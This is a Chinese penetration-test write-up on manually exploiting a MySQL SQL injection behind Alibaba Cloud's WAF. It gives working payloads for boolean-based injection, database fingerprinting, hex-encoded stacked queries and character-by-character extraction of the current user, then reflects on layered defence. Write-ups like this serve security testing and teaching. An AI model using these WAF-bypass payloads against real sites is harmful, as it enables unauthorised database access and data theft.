高阶渗透 | 绕过阿里云WAF进行MySQL手注实录

1. 利用冷门函数绕过阿里云WAF（文章发出来就不冷门了，但重点是思路）。

一次金融单位的官网渗透测试项目，在查询处发现了SQL注入。

1个单引号报错，302跳转

2个单引号正常，200，有数据

3个单引号报错，302跳转

4个单引号正常，200，有数据

'and+'1'='1 被WAF拦截。

仅仅这样还不够，需要测试此处能否执行SQL计算，验证SQL语句是否插入成功。

'=1='1 正常，有数据'=0='1 正常，无数据 # 另一种报错的表现。

极简隐蔽 POC 列表（按优先级排序）

1. 数学运算符优先级差异

'=1+1*0='1

• 预期结果：
  • PostgreSQL/MySQL：1+(1*0)=1 → 1=1 → 有数据。
  • Oracle：需 FROM DUAL → 语法错误 → 报错。
• 绕过逻辑：利用 * 优先级高于 + 的通用规则，避免直接对比布尔值。

2. 隐式字符串转数字

'='1'=1.0||'

• 预期结果：
  • PostgreSQL：严格类型检查 → '1'=1.0 为假 → 无数据。
  • MySQL：隐式转换 '1' → 1 → 1=1.0 为真 → 有数据。
  • Oracle：需 FROM DUAL → 语法错误 → 报错。

结果决策树

1. 执行 '=1+1*0='1：
   • 有数据 → 非 Oracle，进入下一步。
   • 报错 → 数据库为 Oracle。
2. 执行 '='1'=1.0||'：
   • 有数据 → 数据库为 MySQL（隐式类型转换）。
   • 无数据 → 数据库为 PostgreSQL（严格类型检查）。

做渗透测试，是一定要注入出数据，才算证明危害。

• USER()：返回当前会话的客户端用户名和主机名（例如 admin@localhost）。

-- 某些上下文允许省略括号SELECT USER; -- 返回与 USER() 相同的结果

-- 使用十六进制编码绕过SELECT 0x555345522829; -- HEX("USER()")-- 执行动态语句（需堆叠查询权限）PREPARE stmt FROM 0x53454C45435420555345522829; EXECUTE stmt;

-- 通过 `@@hostname` 获取主机名SELECT CONCAT(SUBSTRING_INDEX(USER(), '@', 1), '@', @@hostname);

• CURRENT_USER()
• SESSION_USER()
• SYSTEM_USER()

'=10-(length(current_user))='1 正常，有数据'=10-(length(current_user))='2 正常，无数据在MySQL数据库中，布尔值 TRUE 会被隐式转换为 1，布尔值 FALSE 会被隐式转换为 0，当执行 '=1-9=0' 时，实际等价于：('' = (1-9)) = '0'-> (FALSE) = '0'-> FALSE = 0-> TRUE # 因为 FALSE 转 0，0=0 成立）MySQL 的隐式类型转换会将：FALSE → 0TRUE → 1'' → 0'0' → 0

这里有阿里云WAF，我又懒得用垃圾字符堆叠或者其他Bypass思路，只是为了证明可以获取到数据，提供一个Payload作为小思路。

'=position(BINARY+'e§a§'+in+current_user)='1

测试结束之后，我有些感慨，十几万甚至几十万的云WAF，就这样被一次几千块钱的渗透测试服务绕过了吗，攻防两端的投入似乎并不公平。

但细想，觉得这样的观点是不对的，安全建设/安全防护从来就不是一个设备的事情，攻防演习的情况下，防守方是可以通过流量监控，设备告警等等情况发现攻击者在测试/尝试绕过WAF，进而提前阻断攻击。

所以在安全建设这一块，更加强调的是设备联动、联防联控，而不能想着买了设备就高枕无忧了。

并且也得益于不断更新的安全建设，这个SQL注入漏洞面临不出网（网络管控）、MySQL低权限无法写文件（安全基线）、Java Web开发（非PHP无法写shell）、报错页面自定义（无法使用报错函数回显敏感信息）的环境，导致攻击者无法进一步利用该漏洞去突破边界，所以安全建设不是一蹴而就，而是不断更新的一个过程。

作者：风沙吹奏、yiyi_star。